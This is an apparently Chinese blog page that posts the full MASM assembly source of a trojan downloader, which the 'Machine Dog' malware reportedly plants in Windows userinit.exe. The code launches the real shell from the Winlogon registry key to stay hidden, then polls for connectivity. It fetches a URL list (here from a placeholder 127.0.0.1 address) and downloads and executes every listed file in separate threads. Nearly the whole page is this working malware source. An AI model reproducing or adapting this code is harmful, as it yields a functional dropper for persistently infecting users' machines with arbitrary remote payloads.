机器狗写入到userinit.exe文件的下载者源码

本文展示了一段恶意代码,该代码通过植入userinit.exe文件实现自动运行,并下载执行远程文件。恶意行为包括检查网络连接状态、从指定URL下载文件并执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2. ; 机器狗写入到userinit.exe文件的恶意代码
  3. ; by naitm(http://hi.baidu.com/naitm)
  4. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  5.                 .386
  6.                 .model flat,stdcall
  7.                 option casemap:none
  8. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  9. ; Include 文件定义
  10. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  11. include                windows.inc
  12. include                user32.inc
  13. includelib        user32.lib
  14. include                kernel32.inc
  15. includelib        kernel32.lib
  16. include                Advapi32.inc
  17. includelib        Advapi32.lib
  18. include                wininet.inc
  19. includelib        wininet.lib
  20. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  21. ; 数据段
  22. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  23.                 .data    
  24. nThreadCount        dd                0
  25. g_ThreadCount        dd                0
  26. PathName                        db         '.',0
  27. szAgent                        db                'Shell',0
  28. szUser32Dll                db                'user32.dll',0
  29. szLoadRemoteFonts        db        'LoadRemoteFonts',0
  30. szSubKey                        db         'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon',0
  31. szUrlList                 db         'http://127.0.0.1/cert.cer',0
  32. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  33. ; 代码段
  34. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  35.                 .code
  36. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  37. _RunIt                        proc        @lpExePath
  38.  
  39.                 local        @ProcessInformation:PROCESS_INFORMATION
  40.                 local        @StartupInfo:STARTUPINFO
  41.  
  42.  
  43.                 invoke        GetStartupInfo,addr @StartupInfo
  44.                 invoke        CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
  45.                 .if                eax == 0
  46.                                         invoke        CloseHandle,@ProcessInformation.hThread
  47.                                         invoke        CloseHandle,@ProcessInformation.hProcess
  48.                 .endif        
  49.                
  50.                 leave
  51.                 retn    4
  52. _RunIt                        endp
  53. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  54. _DownloadFile        proc        @lpURL,@lpSaveFile,@Buffer
  55.  
  56.                 local        @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
  57.                 local        @lpbuffer[200h]:BYTE
  58.                                        
  59.                 xor        eax, eax
  60.                 mov        @nWriteCount, eax
  61.                 invoke        InternetOpen,addr szAgent,0,0,0,0
  62.                 .if        eax != 0
  63.                                 mov        @hInternet, eax
  64.                                 invoke        InternetSetOption,@hInternet,2,@Buffer,4
  65.                                 invoke        InternetSetOption,@hInternet,6,@Buffer,4
  66.                                 invoke        InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
  67.                                 .if        eax != 0
  68.                                                 mov        @hInternetFile, eax
  69.                                                 mov        @nNumberOfBytesToWrite, 0
  70.                                                 mov        @NumberOfBytesWritten, 200h
  71.                                                 invoke        HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,/
  72.                                                                         addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
  73.                                                 .if        eax != 0
  74.                                                                 invoke        CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
  75.                                                 .if        eax != 0FFFFFFFFh
  76.                                                                 mov        @hLocalFile, eax
  77.                                                                 .while TRUE
  78.                                                                                 mov        @nNumberOfBytesToWrite, 0
  79.                                                                                 invoke        InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
  80.                                                                                 .break        .if (!eax)
  81.                                                                                 .break        .if (@nNumberOfBytesToWrite==0)
  82.                                                                                 inc        @nWriteCount
  83.                                                                                 invoke        WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,/
  84.                                                                                                         addr @NumberOfBytesWritten,0              
  85.                                                                 .endw
  86.                                                                 invoke        SetEndOfFile,@hLocalFile
  87.                                                                 invoke        CloseHandle,@hLocalFile
  88.                                                 .endif
  89.                                                 .endif  
  90.                                                 invoke        InternetCloseHandle,@hInternetFile
  91.                                 .endif
  92.                                 invoke        InternetCloseHandle,@hInternet
  93.                 .endif
  94.                 mov        eax, @nWriteCount
  95.                 leave
  96.                 retn        0Ch
  97.  
  98. _DownloadFile   endp
  99. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  100. _DownloadEXERunIt proc    @lpURL  
  101.  
  102.                 local        @DownTimes
  103.                 local        @TempFileName[204h]:BYTE
  104.                 local        @TempFileName2[204h]:BYTE
  105.                 local        @szUrl[104h]:BYTE
  106.                                        
  107.                 mov        @DownTimes, 3Ch
  108.                 invoke        lstrcpy,addr @szUrl,@lpURL
  109.                 invoke        RtlZeroMemory,addr @TempFileName,204
  110.                 invoke        GetTempFileName,offset PathName,0,0,addr @TempFileName
  111.                 invoke        lstrcpy,addr @TempFileName2,addr @TempFileName
  112.  
  113. DownloadNxTime:                  
  114.                 invoke        _DownloadFile,addr @szUrl,addr @TempFileName,1388h
  115.                 or                        eax, eax
  116.                 jz                        DownloadFailed
  117.                 invoke        lstrcpy,addr @TempFileName,addr @TempFileName2
  118.                 invoke        _RunIt,addr @TempFileName
  119.                 jmp                DownloadEnd
  120. ; ---------------------------------------------------------------------------
  121.  
  122. DownloadFailed:                      
  123.                 invoke        Sleep,3E8h
  124.                 dec                @DownTimes
  125.                 jnz                DownloadNxTime
  126.  
  127. DownloadEnd:        
  128.                 dec                nThreadCount
  129.                 leave
  130.                 retn    4
  131. _DownloadEXERunIt endp        
  132. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  133. start:
  134. main proc
  135.  
  136.                 local        hKey,hObject,hFile,lpBaseAddress,ThreadId
  137.                 local        szShellValue[104h]:BYTE
  138.                                        
  139.                 invoke        LoadLibrary,offset szUser32Dll
  140.                 or                        eax, eax
  141.                 jz                        RegQueryShell
  142.                 invoke        GetProcAddress,eax,offset szLoadRemoteFonts
  143.                 or      eax, eax
  144.                 jz      RegQueryShell
  145.                 call    eax
  146.  
  147. RegQueryShell:                          
  148.  
  149.                 invoke        RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
  150.                 or      eax, eax
  151.                 jnz     TestInternet
  152.                 mov     ThreadId, 104h
  153.                 invoke        RtlZeroMemory,addr szShellValue,104h
  154.                 invoke        RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
  155.                 invoke        _RunIt,addr szShellValue
  156.                 invoke        RegCloseKey,hKey
  157.  
  158. TestInternet:                    
  159.  
  160.                 invoke        Sleep,3E8h
  161.                 invoke        InternetGetConnectedState,addr ThreadId,0
  162.                 or      eax, eax
  163.                 jnz     InternetConnect_OK
  164.                 jmp     TestInternet
  165. ; ---------------------------------------------------------------------------
  166.  
  167. InternetConnect_OK:                  
  168.                 invoke        RtlZeroMemory,addr szShellValue,104h
  169.                 invoke        GetTempFileName,offset PathName,0,0,addr szShellValue
  170.  
  171. DownList:                            
  172.  
  173.                 invoke        Sleep,3E8h
  174.                 invoke        _DownloadFile,offset szUrlList,addr szShellValue,1388h
  175.                 or      eax, eax
  176.                 jz      DownListFailed
  177.  
  178.  
  179.                 mov     nThreadCount, 0
  180.                 invoke        CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
  181.                 cmp     eax, INVALID_HANDLE_VALUE
  182.                 jz      ReaptDownList
  183.  
  184.  
  185.                 mov     hFile, eax
  186.                 invoke        GetFileSize,hFile,0
  187.                 cmp     eax, 0Fh
  188.                 jnb     BeginDownEXE
  189.                 invoke        CloseHandle,hFile
  190.                 jmp     DownList
  191. ; ---------------------------------------------------------------------------
  192.  
  193. BeginDownEXE:                    
  194.                 invoke        CreateFileMapping,hFile,0,2,0,0,0
  195.                 or      eax, eax
  196.                 jz      CreateMapFailed
  197.                 mov     hObject, eax
  198.                 invoke        MapViewOfFile,eax,4,0,0,0
  199.                 or      eax, eax
  200.                 jz      MapViewFailed
  201.  
  202.                 mov     lpBaseAddress, eax
  203.                 mov     esi, eax
  204.  
  205. loc_4005E1:                            
  206.                 lea     edi, szShellValue
  207.                 push    104h
  208.                 push    edi
  209.                 call    RtlZeroMemory
  210.  
  211. WetherNewLine:                    
  212.                 lodsb
  213.                 cmp     al, 0Ah
  214.                 jnz     loc_4005F8
  215.                 lodsb
  216.  
  217. loc_4005F8:                          
  218.                 cmp     al, 0Dh
  219.                 jz      loc_400605
  220.                 stosb
  221.                 or      al, al
  222.                 jz      UrlListEnd
  223.                 jmp     WetherNewLine
  224. ; ---------------------------------------------------------------------------
  225.                 jmp     UrlListEnd
  226. ; ---------------------------------------------------------------------------
  227.  
  228. loc_400605:                        
  229.                 cmp     szShellValue, 0
  230.                 jz      NextLine
  231.                 inc     nThreadCount
  232.                 invoke        CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
  233.                 invoke        CloseHandle,eax
  234.                 invoke        Sleep,64h
  235.  
  236. NextLine:                              
  237.                 jmp     loc_4005E1
  238. ; ---------------------------------------------------------------------------
  239.  
  240. UrlListEnd:                          
  241.  
  242.                 invoke        UnmapViewOfFile,lpBaseAddress
  243.  
  244. MapViewFailed:                
  245.                 invoke        CloseHandle,hObject
  246.  
  247. CreateMapFailed:                  
  248.                 invoke        CloseHandle,hFile
  249.                 jmp     WetherTreadend
  250. ; ---------------------------------------------------------------------------
  251.  
  252. ReaptDownList:                    
  253.                 jmp     DownList
  254. ; ---------------------------------------------------------------------------
  255.                 jmp     WetherTreadend
  256. ; ---------------------------------------------------------------------------
  257.  
  258. DownListFailed:                
  259.                 jmp     DownList
  260. ; ---------------------------------------------------------------------------
  261.  
  262. WetherTreadend:                  
  263.                                  
  264.                 cmp     nThreadCount, 0
  265.                 jz      ExitProgram
  266.                 invoke        Sleep,64h
  267.                 jmp     WetherTreadend
  268. ; ---------------------------------------------------------------------------
  269.  
  270. ExitProgram:                          
  271.                 invoke        ExitProcess,0
  272.  
  273. main endp
  274. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  275.         end        start 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值